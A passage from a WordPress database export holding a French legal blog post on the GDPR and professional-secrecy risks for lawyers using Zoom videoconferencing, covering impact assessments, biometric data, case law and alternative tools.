avocats sur les pas de leurs ordres\nprofessionnels, doivent s’assurer de la conformité des moyens techniques utilisés.\nLa confidentialité des informations dont ils sont mis en charge leur impose la\nplus grande vigilance. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans ce contexte, une évaluation de l’impact de la nouvelle technologie sur\nla protection des données traitées s’impose avant tout usage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La CNIL explique&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’AIPD est un outil\nimportant pour la responsabilisation des organismes&nbsp;: elle les aide non\nseulement à construire des traitements de données respectueux de la vie privée,\nmais aussi à démontrer leur conformité au Règlement général sur la protection\ndes données (RGPD). Elle est obligatoire pour les traitements susceptibles\nd’engendrer des risques élevés.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>L\'AIPD&nbsp;se décompose en trois parties :</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>Une description détaillée&nbsp;du traitement mis en œuvre, comprenant tant les aspects techniques qu’opérationnelsL’évaluation, de nature plus juridique, de la nécessité et de la proportionnalité concernant les principes et droits fondamentaux&nbsp; (finalité, données et durées de conservation, information et droits des personnes, etc.) non négociables, qui sont fixés par la loi et doivent être respectés, quels que soient les risques ;  </em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’étude, de nature plus technique, des risques sur la sécurité des données&nbsp;(confidentialité, intégrité et disponibilité)&nbsp;ainsi que &nbsp;leurs impacts potentiels sur la vie privée, qui permet de déterminer les mesures techniques et organisationnelles nécessaires pour protéger les données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>On note qu’analyse\nd’impact relative à la protection des données, AIPD&nbsp;(Data Protection\nImpact Assessment, terme retenu dans le RGPD) et PIA (Privacy Impact\nAssessment, terme plus commun utilisé dans d’autres régions du monde) sont\nsynonymes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Une Analyse d’Impact est obligatoire lorsque, toujours selon la CNIL&nbsp;:</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>…le traitement est\n«&nbsp;susceptible d’engendrer un risque élevé pour les droits et libertés des\npersonnes concernées&nbsp;».</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement envisagé figure dans&nbsp;</em><a rel=\"noreferrer noopener\" href=\"https://www.cnil.fr/sites/default/files/atoms/files/liste-traitements-aipd-requise.pdf\" target=\"_blank\"><em>la liste des types d’opérations de traitement</em></a><em>&nbsp;pour lesquelles la CNIL a estimé obligatoire de réaliser une analyse d’impact relative à la protection des données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement remplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices du G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nremplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices\ndu G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>évaluation/scoring&nbsp;(y\ncompris le profilage)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>décision automatique avec\neffet légal ou similaire&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>surveillance\nsystématique&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\nsensibles ou données à caractère hautement personnel ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\npersonnelles à large échelle&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>croisement de\ndonnées&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>personnes vulnérables\n(patients, personnes âgées, enfants,&nbsp;etc.)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>usage innovant\n(utilisation d’une nouvelle technologie)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>exclusion du bénéfice\nd’un droit/contrat.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Exemple&nbsp;: une entreprise\nmet en place un traitement publicitaire visant à collecter les données de\ngéolocalisation de plusieurs millions d’individus pour créer des profils\npublicitaires et leur afficher de la publicité ciblée en fonction de leurs\ndéplacements &nbsp;; ce traitement remplit le critère de la collecte à grande\néchelle et celui de la collecte de données sensibles (données de localisation),\ndonc la réalisation d’une AIPD&nbsp;sera nécessaire.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>En l’absence des mesures d’évaluation des risques, l’avocat négligeant s’engage à la mise en cause de sa responsabilité. Les ordres professionnels devraient être sensibilisés à ce risque et accompagner leurs adhérents dans la recherche d’une solution conforme aux exigences du règlement. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La loi du 31\ndécembre 1971, et plus particulièrement par les dispositions de son article\n66-5 impliquent qu’« en toutes matières, que ce soit dans le domaine du conseil\nou dans celui de la défense, les consultations adressées par un avocat à son\nclient ou destinées à celui-ci, les correspondances échangées entre le client\net son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières\nde celles portant la mention « officielle », les notes d’entretien et, plus\ngénéralement, toutes les pièces du dossier sont couvertes par le secret professionnel\n»</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La <a href=\"https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre\">CNIL</a>\ncomme d’autres autorités de protection nationale ont produit des guides en ce\nsens. Ici le document produit par le <a href=\"https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing\">Irish\nData Protection Commissionner</a>. Une <a href=\"https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/\">recommendation\nde la part de ANSSI</a> est également disponible. <a href=\"https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home\">ENISA</a>\n‘<em>cybersecurity when working from home’</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’utilisation de l’application Zoom n’a pas manqué d’ores et déjà de voir\nle jour à des procès en responsabilité&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades\">Zoom Sued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\" target=\"_blank\">lawsuit</a>&nbsp;[PDF], filed on Monday in California. The plaintiff in this case, Robert Cullen of Sacramento, California, <a href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\">The Register.</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Brittany Roush, Director at the Crypsis Group, said</a> : \"that having that kind of flexibility to ensure that critical services can carry on, especially in a crisis, does not take the teeth from the CCPA and GDPR. If anything, it demonstrates that the regulatory bodies are carrying out their essential function -- which is to ensure that companies protect consumer data... In many ways, the CCPA and GDPR should take a page from HIPAA, which lowered security standards for telehealth in order to manage the critical healthcare demands of the pandemic... we do not have the luxury of time on our side to devise perfect solutions.</em></li><li><a href=\"http:// https://www.techradar.com/uk/news/zoom-banned-for-official-use-in-taiwan\">Germany bans Zoom for official use</a></li><li><a href=\"https://medium.com/a-change-is-coming/what-zoom-can-learn-from-microsoft-aec876b79968\">Lessons from the Past: What Zoom can learn from Microsoft</a></li><li><a href=\"https://uk.reuters.com/article/uk-spacex-zoom-video-commn/elon-musks-spacex-bans-zoom-over-privacy-concerns-memo-idUKKBN21J71J\">Elon Musk\'s SpaceX bans Zoom over privacy concerns - memo</a></li><li><a href=\"https://www.nextinpact.com/news/108877-la-direction-interministerielle-numerique-deconseille-fortement-application-zoom.htm\">La Direction interministérielle du numérique « déconseille fortement » l\'application Zoom</a></li><li><a href=\"https://www.macg.co/logiciels/2020/04/de-plus-en-plus-deconseille-zoom-fait-appel-lancien-chef-de-la-securite-de-facebook-113193\">De plus en plus déconseillé, Zoom fait appel à l\'ancien chef de la sécurité de Facebook </a></li><li><a href=\"https://www.forbes.com/sites/moorinsights/2020/04/03/why-most-should-avoid-the-out-of-control-zoom-right-now/\">Why Most Should Avoid An ‘Out Of Control’ Zoom Right Now</a></li><li><a href=\"https://www.techrepublic.com/article/dark-web-cybercriminals-sell-half-a-million-zoom-accounts/\">Dark web: Cybercriminals sell over 500,000 Zoom accounts</a></li><li><a href=\"https://www.securityweek.com/zoom-credentials-database-available-dark-web?\">Zoom Credentials Database Available on Dark Web</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><strong>Ainsi en conclusion, il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Quels sont les solutions alternatives ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://jitsi.org/jitsi-meet/\">Jitsi</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.tixeo.com/\">Tixeo</a> recommende par l’ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bigbluebutton.org/\">BigBlueButton</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.visio-avocats.com/\">Visio-avocats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pages.bluejeans.com/video-conferencing-trial.html?utm_source=google&amp;utm_medium=cpc&amp;personsource=paid_search&amp;utm_content=TrialLP&amp;utm_term=%2Bbluejeans%20%2Bconference&amp;utm_campaign=EMEA%20-%20Branded%20General&amp;utm_adgroup=EMEA%20-%20Branded%20General%20-%20BlueJeans%20Business\">BlueJeans</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.skype.com/en/\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.gotomeeting.com/en-gb/lp/easy-online-meetings?cid=g2m_emea_ggs_cpc_brand_gotomeeting_e\">GotoMeeting</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://products.office.com/en-gb/microsoft-teams/group-chat-software\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html?dtid=pseggl000183&amp;oid=trlco020841&amp;ccid=cc000703&amp;gclsrc=ds&amp;gclsrc=ds\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":651,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/Screenshot-2020-04-07-at-22.39.46.png\" alt=\"\" class=\"wp-image-651\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bit.ly/2yoXVIG\">Ta</a><a href=\"https://noyb.eu/sites/default/files/2020-04/noyb_-_report_on_privacy_policies_of_video_conferencing_tools_2020-04-02_0.pdf\">bleau Comparatif NOYB</a><a href=\"https://bit.ly/2yoXVIG\">&nbsp;&nbsp;-&nbsp;&nbsp;Pour&nbsp;la&nbsp;version&nbsp;avec&nbsp;liens&nbsp;actifs,&nbsp;&nbsp;</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autre <a href=\"https://bit.ly/2wLRJKs\">tableau comparatif produit par l\'Autorité de protection des données</a> <a href=\"https://autoriteitpersoonsgegevens.nl/sites/default/files/atoms/files/keuzehulp_privacy_videobellen.pdf\">Hollandaise</a> traduit par<a href=\"https://twitter.com/PiracyByDesign\"> Christopher SCHMIDT Data Privacy Specialist • Magister of Law&nbsp;CIPP⁄E CIPM CIPT CBSA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":671} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/TAB1-725x1024.png\" alt=\"\" class=\"wp-image-671\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>CONTINUEZ A MAINTENIR L\'ALERTE EN SUIVANT LE COMPTE <a href=\"http://www.pearltrees.com/privacyday/zoom-video-conferencing/id31172465\">PEARLTREES</a> SUR LEQUEL SONT REGROUPÉS LES DERNIERES NEWS ET ARTICLE SUR CE SUJET.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Si vous teniez malgré tout à continuer à utiliser cette application, voici des conseils sur comment utiliser Zoom avec plus de sécurité :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<em><a href=\"/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe\">How\nto keep your Virtual (Zoom) Meetings safe</a></em><em>:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the </em><em><a href=\"https://www.linkedin.com/company/data-protection-commissioner-of-ireland/\"><strong>Data Protection Commission\nIreland</strong></a>. In light of the recent\nincrease in remote working, necessitated by COVID-19 mitigation measures, as\nwell as the increased numbers keeping in touch online with friends and family,\nthe number of people video-conferencing and video-calling has increased\ndramatically. This has also resulted in people using apps and services which\nthey might not have used before, or are now using for different reasons – i.e. using\nan app they usually use for personal purposes now for work purposes or vice\nversa. Concerns have been raised about how to use these technologies to keep in\ntouch with colleagues and loved ones in a way that is safe and secure, and\nensures an adequate standard of data protection. Here are some tips to help\nboth individuals and organisations (such as employers who might introduce new\nor increased videoconferencing arrangements for employees) use these services\nin a safe manner: <a href=\"https://lnkd.in/e8mpd8n\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','Zoom Visio-conférence Pour Les Juristes','Il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.','inherit','closed','closed','','601-revision-v1','','','2020-04-17 18:45:50','2020-04-17 17:45:50','',601,'https://datarainbow.eu/2020/04/17/601-revision-v1/',0,'revision','',0),(684,5,'2020-04-17 18:52:45','2020-04-17 17:52:45','<!-- wp:paragraph -->\n<p><strong>Regard Sur Les Nombreuses Considérations Avant L’utilisation D’un Mode De Visio-Conférence</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Analysons\nles principales conséquences juridiques liées à l’utilisation de l’application de\nvidéo-conférence gratuite Zoom devenue très populaire qui est passée de 20 à\n200 millions d’utilisateurs en l’espace de quelques jours, propulsée par les\nbesoins du confinement et télétravail imposés par la pandémique du Covid-19.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\nd’abord, de manière schématique, quatre catégories de données sont concernées\navec partage plus ou moins volontaire&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données des organisateurs, </li><li>Les données des invités,</li><li>Les données des tiers mentionnés durant la visio-conférence,</li><li>Les données concernant les mineurs.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Parmi elles, deux catégories de données\n:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles répondent à la définition relativement large de <strong>l’art.\n4</strong> [_<a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\">RGPD04</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Les données dites de catégorie spéciale ou données sensibles, qui en\nprincipe ne doivent pas être traitées sauf exception. Le traitement de ces données\nsont strictement encadrés car sujet à une protection accrue telle que définie à\n<strong>l’art. 9</strong> [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les données biométriques\net autres données de caractère spéciale traitées à l’occasion de l’utilisation\ndes vidéo-conférences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données traitées\npar un enregistrement vidéo peuvent-être considérées comme des données ‘biométriques’\nlorsque les images peuvent en être détournées pour être utilisables à fin d’identification\ndes personnes.<strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Selon la\nJurisprudence de la Cour Européenne de Justice, C-101/01 (6 novembre 2003)&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Données personnelles</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'opération consistant\nà faire référence, sur une page Internet, à diverses personnes et à les\nidentifier soit par leur nom, soit par d\'autres moyens, par exemple leur numéro\nde téléphone ou des informations relatives à leurs conditions de travail et à\nleurs passe-temps, constitue un «traitement de données à caractère personnel,\nautomatisé en tout ou en partie,» au sens de l\'article&nbsp;3,\nparagraphe&nbsp;1, de la directive 95/46 /CE du Parlement européen et du\nConseil, du 24 octobre 1995, relative à la protection des personnes physiques à\nl\'égard du traitement des données à caractère personnel et à la libre\ncirculation de ces données .”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles de catégories spéciales\nou sensitives.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'indication\ndu fait qu\'une personne s\'est blessée au pied et est en congé de maladie\npartiel constitue une donnée à caractère personnel relative à la santé au sens\nde l\'article&nbsp;8, paragraphe&nbsp;1, de la directive 95/46.&nbsp;»</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cet arrêt a été rendu en application de la Directive, antérieure à l’entrée en vigueur du RGDP mais reste applicable. Les données précédemment notamment de santé, répertoriées comme des données ‘sensibles’, sont désormais des données de catégorie spéciale <strong>art. 9</strong> <strong>[_<a rel=\"noreferrer noopener\" href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\" target=\"_blank\">RGPD09</a>_]</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint a été rappelé par une décision récente du <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">Conseil\nd’Etat en date du 27 Février 2020</a> concernant la reconnaissance faciale dans\nles écoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Selon le CE&nbsp;: <em>(51)\n</em><em>Les données à caractère personnel qui sont, par\nnature, particulièrement sensibles du point de vue des libertés et des droits\nfondamentaux méritent une protection spécifique, car le contexte dans lequel\nelles sont traitées pourrait engendrer des risques importants pour ces libertés\net droits. Ces données à caractère personnel devraient comprendre les données à\ncaractère personnel qui révèlent l\'origine raciale ou ethnique, étant entendu\nque l\'utilisation de l\'expression «origine raciale» dans le présent règlement\nn\'implique pas que l\'Union adhère à des théories tendant à établir l\'existence\nde races humaines distinctes. Le traitement des photographies ne devrait pas\nsystématiquement être considéré comme constituant un traitement de catégories\nparticulières de données à caractère personnel, étant donné que celles-ci <strong>ne\nrelèvent de la définition de données biométriques que lorsqu\'elles sont\ntraitées selon un mode technique spécifique permettant l\'identification ou\nl\'authentification unique d\'une personne physique</strong>. De telles données à\ncaractère personnel ne devraient pas faire l\'objet d\'un traitement, à moins que\ncelui-ci ne soit autorisé dans des cas spécifiques prévus par le présent\nrèglement, compte tenu du fait que le droit d\'un État membre peut prévoir des\ndispositions spécifiques relatives à la protection des données visant à adapter\nl\'application des règles du présent règlement en vue de respecter une\nobligation légale ou pour l\'exécution d\'une mission d\'intérêt public ou\nrelevant de l\'exercice de l\'autorité publique dont est investi le responsable\ndu traitement. Outre les exigences spécifiques applicables à ce traitement, les\nprincipes généraux et les autres règles du présent règlement devraient s\'appliquer,\nen particulier en ce qui concerne les conditions de licéité du traitement. Des\ndérogations à l\'interdiction générale de traiter ces catégories particulières\nde données à caractère personnel devraient être explicitement prévues, entre\nautres lorsque la personne concernée donne son <strong>consentement explicite ou\npour répondre à des besoins spécifiques, en particulier lorsque le traitement\nest effectué dans le cadre d\'activités légitimes de certaines associations ou\nfondations ayant pour objet de permettre l\'exercice des libertés fondamentales.</strong></em><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nGrande Bretagne : <a href=\"https://uk.practicallaw.thomsonreuters.com/D-014-7572?transitionType=Default&amp;contextData=(sc.Default)&amp;firstPage=true&amp;bhcp=1\">Murray\nv Big Picture</a> §80 </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il\nest dès lors permis de considérer que les images traitées à l’occasion d’une visio-conférence\nrentrent dans le cadre des données biométriques. La possibilité d’éventuels\ntests de reconnaissance faciale n’est pas inclus. De plus, des utilisateurs ne révélant\npas leur identité en utilisant des pseudonymes peuvent être identifiés par la\ndivulgation de leur image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Par\nconséquent, les images ou vidéos, identifiant les participants en fonction de leur\nappartenance raciale, ethnique, religieuse, philosophique ou syndicale sont à considérer\ncomme entrant dans la catégorie des données à caractère spéciale. De même,\nrentrent dans la catégorie des données spéciales celles ayant trait à l’état de\nsanté ou les données des enfants mineurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Voire\nla recommandation de la <a href=\"https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf\">CNIL</a>\nen matière de Reconnaissance faciale et <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">l’arrêt récent du conseil d’Etat du 27 février\n2020</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Respect des principes de licéité art. 5 <a>[_</a><a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_]\n</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données doivent être collectées doivent répondre aux exigences de licéité énumérées à <strong>l’art. 5</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_].</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Les données à caractère personnel\ndoivent être :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) <em>traitées\nde manière licite, loyale et transparente au regard de la personne concernée (<strong>licéité,\nloyauté, transparence</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un privacy notice doit être produit définissant\nla base légale de traitement et garantissant les obligations de transparences définies\ndans l’article 13, comme explicité plus en avant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b) collectées\npour des finalités déterminées, explicites et légitimes, et ne pas être\ntraitées ultérieurement d\'une manière incompatible avec ces finalités ; le\ntraitement ultérieur à des fins archivistiques dans l\'intérêt public, à des\nfins de recherche scientifique ou historique ou à des fins statistiques n\'est\npas considéré, conformément à l\'article 89, paragraphe 1, comme incompatible\navec les finalités initiales (<strong>limitation des finalités</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout enregistrement de la vidéo-conférence\net ses utilisations ultérieures doivent être notifiés aux participants et ses\nbases légales justifiées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c)\nadéquates, pertinentes et limitées à ce qui est nécessaire au regard des\nfinalités pour lesquelles elles sont traitées (<strong>minimisation des données</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données collectées doivent être réduites\nau stricte nécessaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) exactes\net, si nécessaire, tenues à jour; toutes les mesures raisonnables doivent être\nprises pour que les données à caractère personnel qui sont inexactes, eu égard\naux finalités pour lesquelles elles sont traitées, soient effacées ou rectifiées\nsans tarder (<strong>exactitude</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si des données sont conservées, elles\nseront soumises à l’obligation de mise à jour pour respecter l’exactitude des\ninformations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) <em>conservées\nsous une forme permettant l\'identification des personnes concernées pendant une\ndurée n\'excédant pas celle nécessaire au regard des finalités pour lesquelles\nelles sont traitées; les données à caractère personnel peuvent être conservées\npour des durées plus longues dans la mesure où elles seront traitées exclusivement\nà des fins archivistiques dans l\'intérêt public, à des fins de recherche\nscientifique ou historique ou à des fins statistiques conformément à l\'article\n89, paragraphe 1, pour autant que soient mises en oeuvre les mesures techniques\net organisationnelles appropriées requises par le présent règlement afin de\ngarantir les droits et libertés de la personne concernée <strong>(limitation de la\nconservation</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La durée de conservation doit être définie\net communiquée aux intervenants. Les enregistrements, s’ils existent, ne\npeuvent dépasser le délai fixé. Les archivages devant mettre au point des accès\nlimités et sécurisés lorsqu’ils ne sont plus justifiés.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) traitées de\nfaçon à garantir une sécurité appropriée des données à caractère personnel, y\ncompris la protection contre le traitement non autorisé ou illicite et contre\nla perte, la destruction ou les dégâts d\'origine accidentelle, à l\'aide de\nmesures techniques ou organisationnelles appropriées (<strong>intégrité et\nconfidentialité</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La sécurité des vidéo-conférences et de leurs\nenregistrements ou accès ultérieurs sont l’affaire de l’organisateur qui doit s’assurer\nque le prestataire de service rempli bien sa mission conformément 